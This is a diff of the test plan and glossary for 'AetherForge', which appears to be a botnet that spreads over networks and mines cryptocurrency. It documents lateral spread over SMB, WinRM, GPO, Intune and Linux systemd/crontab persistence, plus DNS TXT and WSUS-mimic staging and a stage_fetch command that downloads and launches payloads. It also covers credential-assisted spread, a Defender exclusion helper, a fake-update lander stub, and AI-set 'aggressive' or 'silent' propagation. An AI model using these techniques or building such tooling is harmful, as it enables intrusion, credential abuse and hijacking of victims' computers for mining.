Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. | +| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. | +| `intune` | Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export `{"template":"intune"}` → assign `intune-startup.ps1` in owned tenant. | +| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` | +| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. | | `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. | | `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. | -| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. | +| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. | ### Fleet recon | Term | Definition | Example | |------|------------|---------| -| `vuln_findings` | Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. | +| `vuln_findings` | Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. | | `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. | -| `credential graph` | UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). | -| `service_graph` | Merged service discovery per host IP — running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. | +| `credential graph` | UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). | +| `service_graph` | Merged service discovery per host IP — running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. | | `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. | -| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. | +| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. | | `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. | | `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. | -| **Probe & Join** | Crucible operator action that runs `discover_and_join` on selected online nodes. | Crucible toolbar → **Probe & Join** button (`CrucibleExpandedOps`). | +| **Probe & Join** | Crucible operator action that runs `discover_and_join` on selected online nodes. | Crucible toolbar → **Probe & Join** button (`CrucibleExpandedOps`). | | `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. | ### C2 / telemetry @@ -459,16 +462,16 @@ Every term below has a plain-language definition and a copy-pasteable example (C | Term | Definition | Example | |------|------------|---------| | `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. | -| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet` — diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. | +| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet` — diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. | | `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. | | `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. | -| `power_management` bulk pause | Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar **Pause** → `POST /api/v1/agents/bulk-command` `{"action":"pause"}`; category `power_management`. | +| `power_management` bulk pause | Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar **Pause** → `POST /api/v1/agents/bulk-command` `{"action":"pause"}`; category `power_management`. | ### Planned / stub (not fully automated E2E) | Term | Status | Notes | |------|--------|-------| -| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). | +| Full Playwright discover→spread E2E | **Partial** | `discover-spread.spec.ts` covers Probe & Join POST + stub join_lane ack; real WinRM/SMB/GPO lanes still unit-tested only (see [Gaps](#gaps-hard-to-unit-test)). | | SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). | | OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. | @@ -525,33 +528,33 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go ## Priority tests (P0 / P1) -### P0 — security and command validation +### P0 — security and command validation | Test | What it validates | File | Phase | |------|-------------------|------|-------| -| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 | +| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 | | `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 | | Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 | | Crucible LOTL E2E | Stub **LOTL tier badge** on Crucible + **Onion timeline** tier chain | `server/web/e2e/crucible-lotl.spec.ts` | 8 | | LOTL Timeline E2E | `/lotl-timeline` 14-tier chain, fleet overview, clearance/court/AI panels (mocked REST) | `server/web/e2e/lotl-timeline.spec.ts` | 8 | -| Discover→spread E2E | Crucible **Probe & Join** → `discover_and_join` POST + stub join_lane ack in Access Depth | `server/web/e2e/discover-spread.spec.ts` | 8 | -| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 | +| Discover→spread E2E | Crucible **Probe & Join** → `discover_and_join` POST + stub join_lane ack in Access Depth | `server/web/e2e/discover-spread.spec.ts` | 8 | +| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 | | `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 | -### P1 — additional hardening +### P1 — additional hardening | Test | What it validates | File | Phase | |------|-------------------|------|-------| | `TestDownloadCommandRejectsPathTraversal` | Agent `download` (read) blocks traversal paths like upload | `agent/client/client_upload_test.go` | 2 | -### P1 — file handling + bot/AI commands (2026-06-07) +### P1 — file handling + bot/AI commands (2026-06-07) | Test | What it validates | File | Phase | |------|-------------------|------|-------| | `TestUploadCommandRejectsPathTraversal` / `TestDownloadCommandRejectsPathTraversal` | 10 traversal variants (`..`, `~/..`, `@desktop/..`, `desktop:..`, mixed separators) on upload + download | `agent/client/client_upload_test.go` | 2 | | `TestResolveRemotePathRejectsTraversalVariants` | Same traversal matrix at `deploy.ResolveRemotePath` layer | `agent/deploy/desktop_path_test.go` | 2 | | `TestReadFileCommandRejectsOversize` / `TestReadFileCommandAcceptsWithinCap` | `read_file` 512 KiB cap (`maxReadFileBytes`) | `agent/client/file_ops_common_test.go` | 2 | -| `TestAgentConfigFileUploadReadRoundTrip` | Config JSON upload → `read_file` round-trip on agent | `agent/client/file_ops_common_test.go` | 2 | +| `TestAgentConfigFileUploadReadRoundTrip` | Config JSON upload → `read_file` round-trip on agent | `agent/client/file_ops_common_test.go` | 2 | | `TestHandleAISpreadNowWhenEnabled` / `TestHandleAIRestartMining` / `TestHandleAIFullSysCheck` | Fleet AI `ai_commands` handlers (spread, mining restart, syscheck JSON) | `agent/client/ai_commands_test.go` | 2 | | `TestValidateAICommandPathRejectsTraversal` / `TestHandleAIExecShellRejectsTraversalPath` | `exec_shell` working-directory path guard | `agent/client/ai_commands_test.go` | 2 | | `TestServeAgentBinaryDownload*` / `TestFindAgentBinary*` | `/api/download/agent-{windows,mac,linux}` binary lookup + HTTP stream | `server/internal/api/download_handler_test.go` | 1 | @@ -582,7 +585,7 @@ cd agent && go test ./client/... -run "PathTracer|PathForge|Wg|WG|AllowRemoteAct cd server\web && npm run test -- --run src/pages/BuilderPage.test.tsx ``` -Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only. +Note: PathForge `skipped` counter is returned by the API (`PathForgeResult.skipped`) but not rendered in BuilderPage yet — Go tests cover the counter; Vitest verifies placement summary only. Run P0 Go tests quickly: @@ -602,7 +605,7 @@ set AETHERFORGE_URL=http://127.0.0.1:8989 cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts ``` -Run P2 LOTL timeline + discover→spread E2E (live server required — `test.bat` phase 8 seeds `:18989`): +Run P2 LOTL timeline + discover→spread E2E (live server required — `test.bat` phase 8 seeds `:18989`): ```bat set AETHERFORGE_E2E_USER=testuser @@ -611,11 +614,11 @@ set AETHERFORGE_URL=http://127.0.0.1:18989 cd server\web && npx playwright test e2e/lotl-timeline.spec.ts e2e/discover-spread.spec.ts --reporter=line ``` -`lotl-timeline.spec.ts` — navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`. +`lotl-timeline.spec.ts` — navigates `/lotl-timeline`, asserts the 14-tier onion chain, fleet overview chips, clearance/court panel smoke (mocked `GET /ai/clearance-events` + court decision), and AI decision panel when `ai_control_enabled` is mocked. Uses `ensureLiveStubAgent` + `loginToDashboard`. -`discover-spread.spec.ts` — Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats — validates UI wiring, not real SMB spread. +`discover-spread.spec.ts` — Crucible **Probe & Join** on the spread tab; asserts `POST /api/v1/agents/{id}/command` with `discover_and_join`. Multi-hop case uses `discover-spread-stub.ts` (separate WS agent) to acknowledge the command and push `join_lane: dns_txt` stats — validates UI wiring, not real SMB spread. -`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips. +`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips. `e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected. @@ -642,7 +645,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 | | P0 Crucible LOTL badge + Onion timeline E2E | `server/web/e2e/crucible-lotl.spec.ts` | 8 | | P2 LOTL Timeline E2E (14-tier + AI/court/clearance smoke) | `server/web/e2e/lotl-timeline.spec.ts` | 8 | -| P2 discover→spread E2E (Probe & Join + join_lane stub) | `server/web/e2e/discover-spread.spec.ts`, `discover-spread-stub.ts` | 8 | +| P2 discover→spread E2E (Probe & Join + join_lane stub) | `server/web/e2e/discover-spread.spec.ts`, `discover-spread-stub.ts` | 8 | | Calibrate AI Control toggle E2E | `server/web/e2e/pages.spec.ts` (Logic gates / AI Control smoke) | 8 | | P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 | | Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 | @@ -656,7 +659,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | Mining status relay (`mining_status` / `mining_fallback`) | `server/internal/api/websocket_test.go` | 1 | | Agent name preserved on reconnect | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 | | `applyStatsUpdate` / `stats_batch` mining fields | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 | -| Fleet → Crucible redirect | `server/web/src/pages/AgentsPage.test.tsx`, `e2e/pages.spec.ts` | 4 / 8 | +| Fleet → Crucible redirect | `server/web/src/pages/AgentsPage.test.tsx`, `e2e/pages.spec.ts` | 4 / 8 | | Crucible terminal `_seq` cursor | `server/web/src/pages/CruciblePage.test.tsx` | 4 | | CrucibleAgentMeta / bulk toolbar | `CrucibleAgentMeta.test.tsx`, `CruciblePage.test.tsx` | 4 | | Defender exclusion helper | `server/web/src/help/defenderExclusion.test.ts` | 4 | @@ -686,7 +689,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | Spread router (BGP-style min-clearance routes) | `server/internal/spreadrouter/router_test.go`, `pathtracer_handler_test.go` (`SpreadRoute`), `deploy_plan_test.go`, `discover_join_test.go` (`SpreadRouteHint`) | 1 / 2 | | Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 | | Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 | -| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 | +| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 | | Crucible bulk pause/resume E2E | `server/web/e2e/crucible-bulk.spec.ts` | 8 | | Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 | | War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 | @@ -699,7 +702,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | Phenotype publish + sibling inherit | `server/internal/api/phenotype_test.go`, `server/internal/db/phenotype_test.go`, `agent/client/phenotype_policy_test.go` | 1 / 2 | | Failure atlas subtree skip | `server/internal/atlas/failure_atlas_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 | | Singular Machine Court | `server/internal/ai/court_prompt_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 | -| Clearance L0–L4 enforcement | `server/internal/clearance/clearance_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 | +| Clearance L0–L4 enforcement | `server/internal/clearance/clearance_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 | | Access Depth phenotype + clearance badge | `AccessDepthPanel.test.tsx`, `clearance.test.ts` | 4 | | LOTL Timeline atlas skip + cloned-from | `lotlTimeline.test.ts`, `LotlTierTimeline.test.tsx` | 4 | | Court decision UI | `LotlTimelinePage.test.tsx` | 4 | @@ -709,24 +712,24 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 | | `vuln_probe` recon tier in mining chain | `agent/miner/tier_vuln_probe_test.go`, `mining_chain_test.go` | 2 | -### P1 — LOTL tiered mining (onion feature set) +### P1 — LOTL tiered mining (onion feature set) | Test | What it validates | File | Phase | |------|-------------------|------|-------| | `TestSelectMiningTierChain*` | Diagnostics-driven tier chain order, AV/GPU/WSL pruning, force/skip tiers | `agent/miner/lotl_tier_test.go` | 2 | | `TestTierOrchestrator*` | Sequential tier attempts, wallet parity, GPU addon gating, tier_report events | `agent/miner/lotl_orchestrator_test.go`, `lotl_tier_test.go` | 2 | -| `TestTryChainRunTierHooksPopulatesLOTLFields` | Fallback chain ↔ tier orchestrator integration | `agent/miner/fallback_chain_test.go` | 2 | +| `TestTryChainRunTierHooksPopulatesLOTLFields` | Fallback chain ↔ tier orchestrator integration | `agent/miner/fallback_chain_test.go` | 2 | | `TestDefaultFallbackChain*` / launcher tests | powershell, dotnet, wsl, docker_load, container execution tiers | `agent/miner/*_launcher_test.go`, `fallback_chain_test.go` | 2 | | `TestRunWMITier*` / `TestRunScheduledTaskTier*` / `TestRunGPUComputeTier*` / `TestRunWebView2Probe*` | Windows/Linux execution tiers with mocked binaries | `agent/miner/tier_*_test.go` | 2 | | `TestAppendLinuxPyOpenCL*` | linux_pyopencl tier insertion | `agent/miner/pyopencl_test.go` | 2 | | `TestApplyAuthLotlPolicy*` / `TestMiningTierPolicy*` | Server-pulled mining tier policy from auth | `agent/client/mining_policy_test.go` | 2 | | `TestMiningDiagnostics*` / `TestInferMiningBlockers*` | Diagnostics JSON + tier chain fields + blockers | `agent/client/mining_diagnostics_test.go` | 2 | | `TestChainOrderForConfig*` | Client mining chain order hooks | `agent/client/mining_chain_test.go` | 2 | -| `TestMiningChainRunner*` / `TestMiningChainSkips*` | Full `MiningChainRunner` lifecycle: `newMiningChainRunner`, start/stop/cooldown, recon→deploy→mining ordering, container/inprocess/GPU hooks (mock runtime), `onion_report`/`tier_report` payload shape, `lotl_attempts` merge, mining disabled/apk skip, tier failure advance, exhausted chain | `agent/client/mining_chain_lifecycle_test.go` | 2 | +| `TestMiningChainRunner*` / `TestMiningChainSkips*` | Full `MiningChainRunner` lifecycle: `newMiningChainRunner`, start/stop/cooldown, recon→deploy→mining ordering, container/inprocess/GPU hooks (mock runtime), `onion_report`/`tier_report` payload shape, `lotl_attempts` merge, mining disabled/apk skip, tier failure advance, exhausted chain | `agent/client/mining_chain_lifecycle_test.go` | 2 | | `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 | | `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 | | `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 | -| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff — hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 | +| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff — hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 | | `TestDNS*` / dns_txt staging | DNS TXT shard assembly + SHA256 verify | `agent/deploy/dns_txt_staging_test.go` | 2 | | `TestWebRTCMesh*` | WebRTC mesh manifest receive (mock channel) | `agent/deploy/webrtc_mesh_test.go` | 2 | | `TestWSUSCachePeer*` / `TestWrapSSUHeaderRoundTrip` / `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS cache cousin staging + SSU/CAB format-mimic wrap/unwrap roundtrip | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 | @@ -743,17 +746,17 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts | Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 | | LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 | | Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 | -| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 | -| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 | +| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 | +| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 | | `buildAccessDepthModel android` / `buildLotlTimelineModel android` | Android probes + 3-step onion timeline | `server/web/src/help/accessDepth.test.ts`, `lotlTimeline.test.ts`, `platform.test.ts` | 4 | ### APK fleet node mode Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets: -- `AETHERFORGE_SERVER_URL` — C2 base URL -- `AETHERFORGE_WORKER_NUMBER` — fleet worker slot (shown in AI snapshots) -- `AETHERFORGE_PLATFORM=android` — registration label (overrides `runtime.GOOS=linux`) +- `AETHERFORGE_SERVER_URL` — C2 base URL +- `AETHERFORGE_WORKER_NUMBER` — fleet worker slot (shown in AI snapshots) +- `AETHERFORGE_PLATFORM=android` — registration label (overrides `runtime.GOOS=linux`) Optional probe env vars for Access Depth (`environment_probes`): @@ -763,7 +766,7 @@ Optional probe env vars for Access Depth (`environment_probes`): Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. -Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts. +Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts. Quick run: @@ -772,7 +775,7 @@ cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlat cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts ``` -Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped). +Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped). Run LOTL Go tests quickly: @@ -782,7 +785,7 @@ cd server && go test ./internal/api/... ./internal/builder/... ./internal/models cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx ``` -### P2 — spread lanes (mock/inject; no real remote hosts) +### P2 — spread lanes (mock/inject; no real remote hosts) | Test | What it validates | File | Phase | |------|-------------------|------|-------| @@ -792,8 +795,8 @@ cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/component | `TestWinRMEncodePowerShellRoundTrip` / `TestWinRMSpreadScriptMarkers` | WinRM encoded bootstrap script shape (`--spread-install`, `--defer-mining`) | `agent/deploy/winrm_spread_test.go` | 2 | | `TestSystemdLinuxLOTLLane*` / `TestTryLotlTierLinuxLOTLLane` | Linux LOTL `sshSpread*` commands + systemd/crontab persist stubs | `agent/deploy/linux_lotl_test.go` | 2 | | `TestDOPeerRejectsPathTraversal` / `TestWSUSCachePeerRejectsPathTraversal` / `TestDNSTXTRejectsPathTraversal` | Staging path hygiene for `do_peer`, `wsus_cache_peer`, `dns_txt` lanes | `agent/deploy/do_peer_staging_test.go`, `wsus_cache_peer_staging_test.go`, `dns_txt_staging_test.go` | 2 | -| `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS staging roundtrip: wrapped `*.cab.partial` chunk → unwrap → SHA256 verify | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 | -| `TestPickDeployLaneGPO` / `TestPickDeployLaneWinRM` / `TestPickDeployLaneLinuxLOTL` | Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) | `server/internal/api/service_deploy_test.go` | 1 | +| `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS staging roundtrip: wrapped `*.cab.partial` chunk → unwrap → SHA256 verify | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 | +| `TestPickDeployLaneGPO` / `TestPickDeployLaneWinRM` / `TestPickDeployLaneLinuxLOTL` | Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) | `server/internal/api/service_deploy_test.go` | 1 | | `TestDeployPlanWinRMLane` / `TestDeployPlanGPOLane` / `TestDeployPlanLinuxLOTLLane` | Signed deploy plan script rendering from spread templates | `server/internal/api/spread_lanes_test.go` | 1 | | `TestExportSpreadTemplateGPO` / `TestExportSpreadTemplateLinuxLOTL` / `TestExportSpreadTemplateWinRMMarkers` | Spread handler ZIP export shape + template marker replacement | `server/internal/api/spread_handler_test.go` | 1 | | `TestSpreadTemplateRejectsUnknownLane` / `TestSpreadTemplateRequiresServerURL` | Spread template export payload validation | `server/internal/api/spread_handler_test.go` | 1 | @@ -806,25 +809,27 @@ cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd| cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1 ``` -**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI. +**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI. ### Gaps (hard to unit-test) -- **Real Docker/Podman container start** — requires OCI runtime on host; covered by chain logic mocks only. -- **`DetectContainerRuntime` CLI probe** — depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead. -- **Live pool + GPU binary on host** — `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required. -- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above. -- **Real BITS/curl/certutil download** — network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers. -- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`). -- **Playwright fleet recon flow** — Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E. +- **Real Docker/Podman container start** — requires OCI runtime on host; covered by chain logic mocks only. +- **`DetectContainerRuntime` CLI probe** — depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead. +- **Live pool + GPU binary on host** — `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required. +- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above. +- **Real BITS/curl/certutil download** — network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers. +- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`). +- **Playwright fleet recon flow** — Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E. ### Agent logs (not a missing API) -- **`get_log` command** — Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail) -- **`upload_log` AI tool** — when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call +- 